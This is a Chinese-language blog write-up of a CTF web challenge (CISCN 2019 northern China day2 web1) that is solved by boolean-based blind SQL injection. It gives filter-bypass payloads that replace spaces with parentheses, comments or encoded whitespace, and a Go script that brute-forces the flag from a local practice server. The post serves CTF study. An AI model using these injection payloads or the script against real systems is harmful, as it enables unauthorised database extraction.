最近太懒一直没有怎么学习,今天把《轮到你了》结局看了也极为失望,作为黑岛的舔狗我决定好好刷题提高自己,不然都没有实力去当舔
(当好舔真不容易)
打开大佬的博客发现好多新的题和环境…好吧,一道一道来吧
感谢大佬提供的环境:https://github.com/glzjin/CISCN_2019_northern_China_day2_web1
启动环境,打开页面
好久没做了,拿到有点一脸懵逼…
不过看到提示说是花式盲注,就按照sql注入的思路先试一下
随便输入了一些值看了下返回结果
首先是一些正常输入吧,1和2输入是有一句不同的话返回,
其它数字返回"Error Occured When Fetch Result",
输入别的字符是返回"bool(false)"
然后随便输入一些注入语句尝试,会发现有规则过滤
这里1,2可以返回不同的页面,然后上面的bool(false)也算提示吧,基本就会想到用bool注入
常用的bool注入形式 xx and xx,这里and被过滤了,这种形式不行,而且我们的逻辑是对的输入1错的输入2,这样的形式
这就肯定想到用if, if (ascii(substr((select flag from flag),1,1))=115 ,1,2)采用这样的形式,但尝试了一下返回被检查到注入攻击,但试了下上面的关键字发现都可以用…
菜鸡挠头…
偷偷看下wp发现空格也是被过滤的…
查了下绕过空格检测的方法
1.通过注释绕过空格
注释即/**/
通过注释取代空格
eg: or//‘me’//=/**/‘isme’
2.通过括号绕过空格
eg: and(1=0)
试了下1会被检查到不行
2 使用括号后
if(ascii(substr((select(flag)from(flag)),1,1))=115,1,2)
发现返回了"Do you want to be my girlfriend?"
说明可行,这样的话写个脚本简单的来跑下
不知道长度就随便写个较大的长度保证能跑完flag就行
package main
import(
"net/http"
"net/url"
"io/ioutil"
"fmt"
"strconv"
"strings"
)
func main(){
var flag string
for j:=1; j<50; j++{
for i:=32; i<128; i++{
resp, _ := http.PostForm("http://127.0.0.1:8302/index.php",
url.Values{"id": {"if(ascii(substr((select(flag)from(flag)),"+strconv.Itoa(j)+",1))="+strconv.Itoa(i)+",1,2)"}})
defer resp.Body.Close()
body, _ := ioutil.ReadAll(resp.Body)
if strings.Contains(string(body), "glzjin"){
flag += string(i)
}
}
}
fmt.Println(flag)
}
为什么用go语言写写这个脚本呢,可能也是闲的吧…
[外链图片转存失败(img-tVOniVCa-1568018608488)(https://raw.githubusercontent.com/NKcell/BlogPic/master/20190909162247.png)]
可以看到成功拿到了flag
这道题怎么说了也不算难吧,考查了sql的盲注,但对于我这样的菜鸡依旧解决困难
总是觉得sql注入的题不好做,想了想,主要还是sql注入它很少有常规的注入能让你直接sqlmap就能跑出来的情况
一般都会设置各种过滤或者需要各种骚操作去绕过,而这些首先需要耐心吧,毕竟规则这些在不看源码的情况一次次去尝试是很需要耐心的,其次还需要经验吧,比如上面的过滤空格没遇到过,就直接懵逼,最后可能再需要加点灵感吧
然后看了大佬的wp发现绕过空格还有下面的一些手段
空格的绕过有这些方法我测试是可以的
%09
%0a
%0b
%0c
%0d
/**/
/*!*/
或者直接tab
%20
好像没法绕,%00
截断好像也影响sql语句的执行
或者用括号也可以。任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。